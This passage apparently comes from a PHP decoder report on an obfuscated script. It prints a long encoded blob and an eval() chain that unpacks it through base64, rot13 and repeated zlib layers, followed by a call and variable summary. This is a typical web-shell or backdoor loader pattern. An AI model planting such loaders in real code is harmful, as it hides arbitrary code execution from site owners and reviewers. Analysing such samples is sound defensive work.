JlJXRE5tmke6YGv2Tm\x61R5uZR\x411\x41913w90Ho89zLnuZNJ\x42RehI1MtVzoqL\x2bnhZ5o\x62nd\x622q\x63PoqG6\x43p\x62ZhhLhr6pU52k2IhM\x62pS\x62\x63GGRx\x62SkIgWgelSvi5G7MFRlJq\x63gx71/E0ISvlsG7iGWVKD5xgF\x42gErMmV9uDX30DDJ0Ku\x41qhGOktuz7yrH38\x62qRdKiUqE/ZmJwsNfwF4\x41fvuVPYy6sN8xF7YhT9EM7ywpKo2N0T\x632rMorXVpLMsjQRfyjPl85SW53dtFx\x2brTq0R\x43/zMikZLv\x61RNNK\x626SXVTp\x2bM3VM\x62w2dFneKHRyM\x61l\x61MlDs5LFY3gt0L8sj\x63XqZdGp6s3X8GW4sT5Ggs\x411y6\x62EXypI29VzZKtX\x42R2t23vHnE\x42rDX0Ju\x62604Ik54\x2bfTdP\x42RZJgy45kZhDDTevvHiIuhJl96u1\x631r\x41oKXGnpY8U\x2b\x63gOJV9\x2bKx0ynLsO7DKs619ZUPt\x2bUq\x62XKhOo\x41wlSj\x4363\x61eFdK9s\x41twwTfV\x63I11ytnTZ\x2bR6h2MnQ\x63r\x41nOyx\x42U7P2\x629ilFfWLV20n\x42\x431YDjKO7xKDDm\x62Z0Gyw3dM\x43LZzkKnNpruiG1/t\x43YYG\x61VPx\x616fo0jE0\x43gX\x61euQ8eD7GOZLyUzY0Zyxgy\x63kkhLxvuhzr0GVEkML0\x41POTosd/G\x63wpYxOzXgVpqPTi2huwHnX8Fgln/DGO\x61QDU\x43IqJW83I6tQKFFKslSJh9iQHLYlldj/G\x61FIE2PuKExZ7noltyfYzf1qdJYegydfJJnpKDoeYV8\x631\x420X6mmqOOuWLjfGn/nlKK4eYZ\x62TM\x43wlm\x41DrW\x62\x42\x413N882o8G\x62\x41hs2dXQy2\x63lUP\x41\x61\x63m6p5ggQelYs5Ws6YhqG\x61L2XxYVwKtkWey4\x2b3k\x628uG0nP\x2bWqOH3\x41xT\x43Hz82j1qruGt\x43z3PtXYG\x61IXPQX\x42ds\x635EmzrDP\x43qn\x418tl/TnK65mYMg\x63RKx\x43rrirhiG\x63ZlOnJRhgso1ERTqiSs\x41JIN\x42q\x43Yi4xnuE6Fr4dIItE4h\x43F\x42E\x631qvk9H/UxVohiUgYv3W\x43\x4389TPkm\x42il4r5JLuFZ1\x61R4Ztk7qHnpPw\x42UFzLZ\x6300NO\x426m2okGpjoiUeF9GI3ENixjyrKMtgsTK\x41RkJGRfv6K9IroMN\x63\x63g5\x41\x63XifQehKxl818kuFw\x62NYu\x4127vDyzW/v\x41gR1jN6HkGt\x42s0e30\x42X89nh3/75/D29wT7JwdXEG87pH2foRxixNfOxzVwo\x42oqrTEM\x43o6Tj5OPkQ8xLgE1jqHD5kD0\x2b552jFDlTM0zdRTUhoKM\x2b1UZ47\x63h/MZxR/hirR7TYF5d\x63K\x2bWwFv03s7DY/UsWMX\x615\x62W7ZfgulIn4Q7uTN1UmhEMsEjRMJ\x2bxnThv\x2bI\x41dqp5etd1uvn\x2bH/Wqfdy1K2355hXVIxX\x63gUdn\x62D\x61f8JmgvNsjkHkV4\x2bM\x43RmKTeYmdU1O\x61V0tRK8mWO\x63DjYwXWR\x438jgMM\x63/nW09S\x43hgO\x43LYYN/8d9ST4Xs\x43tm1\x41xeXmjnyeRomxHlsZQk0trZ\x41EK9NFn2\x61sEU\x62rIuy\x622yQQLZHF\x430yGLXsng4Is4JYRwjng\x61FP4EXxt\x62\x42hVf7G\x62NFMJk1h4Lo\x43IUZHGtP26GuMr\x61/MhElUzjxtM/S9\x2be\x42FiHQY\x620Fu\x43HPI\x43NEd39EVD\x62Gm2\x43r3i\x43hdNWg96J0P0QpE5PN1sZ7yzXU69\x63pTqeVum\x41tWIivsPLU\x42JFxlEggWgQyyZ\x62H\x637sPULxOg\x63RNsXy\x43yThQusIZ42iY\x419ROQehvvEEpfgI\x41meQ\x63j5E2wZS\x61OQL6\x41mzwMSsxPS\x620rEGMsxZtoiUESsoDU3U\x43\x43\x627KdZEm8n5u65KIn9UokjfJ4h\x626vO4j\x637IXGSvdYhELF58voL5\x4352D5lzMkzhJo5LQ\x43Ww\x62ndwy\x2bDgR\x629SnkxUjSNk\x417l\x2bOUsQJ\x43NqKRRSOfHhMXYjd\x2bU\x41kr\x418iIh4l8gkZ7Summ\x415Wj\x62u7G3pEg6WLFuIE\x41\x2b16O\x2bgdphwdZuG\x41psePZ9OYk\x41\x41t4\x61\x42S\x42\x63\x62pZwnndzfuFvYMT\x61j\x41zoLRrSVQO\x42KgVvLV\x63mZ0P48j76Hf2\x43vUMlPUu4sZEwwXWdgWquOzXUgdJ\x2b\x428/vvEny\x2bKD\x43LQfEf\x42\x2bL5k\x43EOeQJ7xM0Ks10TH8i9xKfM35\x2blQQm24\x63IE0\x62gOeS\x416OIMI\x42dm9wIei\x61jI6RoS\x2bHOH\x41\x2b\x424Gt\x43QJQ0kHF6pIF\x2b\x62\x42tjQ0jDV7f\x2b4z3P/8R9\x42m\x43OtTLZ\x63\x614\x42/EO\x613o2s\x42H0dMT\x42\x2bIw\x41Dkhklgn8JRQ7Vpn7\x418Q1nxEQroX0ftT\x42iTx\x62Um\x41ungi/sEUUrtPRnHvefPj6OtJND6yvJYoY3EkDH\x63uuH93F2rIOo8TQHewI9d\x6150iIJL3SoQ/UGQO9IwpGymVhG\x42qOZPJisR2r\x62SDf\x63m47ee4zGHkRUleNqMIHZNvy1YxLuDNxMJ4ri7XxfOj0rOOz7ENj\x61\x41w8iP\x63kD\x61opoIu\x62\x61ETegKYRtGr2O\x63ySf\x42Qlxy1PL\x63\x63S\x2bhPM9tY53/Gd3jXOezj\x2b2O8i\x2bfN/fZ/dGH\x639\x62ul52w3sMXF2lD9IqYgwkY6\x41Oe1Y4\x41i1fDv\x42IT3/TlM\x619e2\x2bZOJ\x61mZEuzWQ6nFtwi8XikFzNy\x62U\x41kZG\x41PjTZoyIHIgn\x43vIHHRN88/Ih9XmZ/Iw\x62u8YOD\x43yZjMkT8Gh0\x42eoYg2\x42\x63XOyprGffJl7M\x63L6Zx8dmh2vQvKTkd\x42PGJ5h4vk55kx\x63uDZ\x62zL\x63\x2b4gw\x63J9\x2bxZsTfmj\x61yNv7FKD\x41i\x41n0lf677JNEi\x62wkVdXMSUvHX4iSTufYmpxYZd7PVwLdYTVj7S4qd2U\x2b7Ouf09sVvh7NffXvt7\x2bHo75nOjXO8xVLnP7P\x63s79z\x2b\x2bn/\x2b\x2b9uHPefvxEex\x61\x2bY\x61QRO\x61v\x63H8KfvkEeZGLJL0kE4gTyi\x63pd2Li/v4MqQ\x63V4sd\x63oPw\x42f2P2fK\x626Rvilss5VFs5ZQgepv\x63PxI\x432/TzRP9F9\x2b8d48fiv/7tHYF3\x2bif8Txj\x61dwkP/RJyGG\x2buHfqK\x437T9\x411oPKw7l3hS3\x61qnS6LzvTYu7\x6328\x62vpPD/Y\x2bRwiiYGfvf37Zfn\x619wT\x41hvDWMlpN2UJZ/9hsq7D1ZNptfwuH/e2s1j/4nFnEog86Fos4R0t\x4201V6j9\x41wKy\x42e\x2bZYEd4u8JXx254yJeSZt75\x42sRKVDQmV2P3Mk9/iFvdHX3t\x62nuD\x2byE8pjr\x41\x41WfJWxdHoEHn2N7od\x61n2\x43s4T\x43\x41d19\x2b\x2b7UqImV\x43QMq8S6FS4Ff80E/JSUnz2duYkNZloTu0Op\x63JpS\x61rHT4\x428nZlfKrt\x62P3\x6180\x2b6yRRj\x42wJerfGFYGw6iRRn\x42wJerfFFoGw6SRRr\x42wJerfEF4Gw6\x43RRv\x42wJe";
eval("?>".str_rot13(gzinflate(gzuncompress(gzinflate(gzuncompress(gzinflate(gzuncompress(gzinflate(gzuncompress(base64_decode(strrev($Lix))))))))))));
exit;
?>

Function Calls

strrev 1
gzinflate 4
str_rot13 1
gzuncompress 4
base64_decode 1

Variables

$Lix ==wWyRHYirmehOHZ2AVhdBpafx/DvZ+/XdFN2MM6Qx6/+lcui2BA3GP9hpEn..

Stats

MD5 bdbc2544ec88b9eb8cdef387dc59e6fd
Eval Count 1
Decode Time 80 ms